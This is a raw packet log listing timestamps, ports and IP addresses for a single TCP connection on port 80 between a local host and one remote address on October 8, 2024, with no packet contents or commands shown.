Oct 8, 2024 08:22:16.334202051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334203959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.334212065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334222078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334253073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334261894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334263086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.334263086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.334291935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.334299088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334310055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334347010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.334369898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334378958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334388018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334425926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.334425926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.334662914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334671021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334680080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334692955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334702015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334712029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.334712029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.334716082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334726095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334734917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.334737062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334755898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.334778070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.334786892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334795952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334800959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.334830999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334841013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334840059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.334851980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334861040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334892035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.334892035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.334913015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.334923983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334938049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334947109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334954977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334975958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334978104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.334978104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.334985971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.334995031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335004091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335016966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335025072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335046053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335062981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335071087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335107088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335112095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335120916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335129976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335161924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335170031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335180044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335184097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335191965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335220098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335228920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335238934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335242033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335253954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335278988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335287094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335287094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335289001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335299015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335314035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335354090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335401058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335411072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335421085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335428953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335438013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335449934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335459948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335459948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335494995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335551023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335562944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335572004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335580111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335587978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335597992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335597992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335608959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335618973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335655928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335655928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335721016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335730076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335740089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335747957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335757017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335762978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335802078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335803032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335813046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335823059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335830927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335844040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335854053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335858107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335863113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335880041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335905075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335906982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335906982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.335916042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.335957050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.368763924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.368783951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.368793011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.368803024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.368813038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.368889093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.368897915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.368907928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.368916988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.368969917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.368980885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.368995905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.368995905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.368995905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.368997097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.368997097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.369015932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369029045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369102001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.369102001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.369102955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.369123936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369132996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369163036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369173050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369180918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369179964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.369190931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369205952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369214058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.369214058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.369221926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369226933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369236946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.369257927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.369275093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.369287014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369297028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369308949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369318008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369339943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.369363070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.369380951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369390011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369398117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369406939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369415998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369422913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369431019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.369456053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.369476080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369476080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.369486094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369494915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369507074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369514942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369524956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369527102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.369545937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.369551897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369558096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.369568110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.369602919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.421560049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.421571970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.421586037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.421595097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.421602964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.421612024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.421623945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.421633005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.421643972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.421658039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.421739101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.421741009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.421755075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.421766996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.421773911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.421782970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.421785116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.421797037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.421803951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.421806097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.421828985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.421863079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.421874046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.421884060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.421894073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.421902895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.421911955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.421933889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.421933889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.421957970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.421960115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422065973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422080040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422106981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422113895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422149897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422153950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422163010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422178984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422187090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422197104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422204018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422215939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422215939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422241926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422243118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422243118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422291994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422301054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422317982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422327042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422332048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422337055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422372103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422372103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422379971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422389984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422436953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422450066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422458887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422471046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422486067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422498941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422501087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422512054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422523022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422527075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422544003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422561884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422573090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422581911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422590971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422616005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422646999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422657013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422665119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422673941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422683954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422693014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422700882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422707081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422749043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422749043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422765970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422775030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422782898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422791958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422801018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422813892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422830105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422837019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422837019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422926903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422935963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422945023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422954082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422964096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422972918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422977924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.422983885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.422996998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.423032045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.423032045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.423058987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.423077106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.423089981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.423099995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.423108101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.423116922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.423124075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.423146963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.423147917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.423230886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.423242092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.423249960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.423260927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.423269987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.423274994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.423280001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.423314095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.423314095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.423335075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.423340082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.423350096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.423360109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.423409939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.423419952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.423424959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.423424959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.423458099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.456859112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.456888914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.456901073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.456919909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.456932068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.456944942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.456953049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.456990004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.456996918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.457010984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.457024097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.457056046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.457087994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.457112074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.457124949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.457137108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.457150936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.457163095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.457165003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:16.457176924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.457190037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:16.457195997 CEST	49730	80	192.168.2.4	185.215.113.37
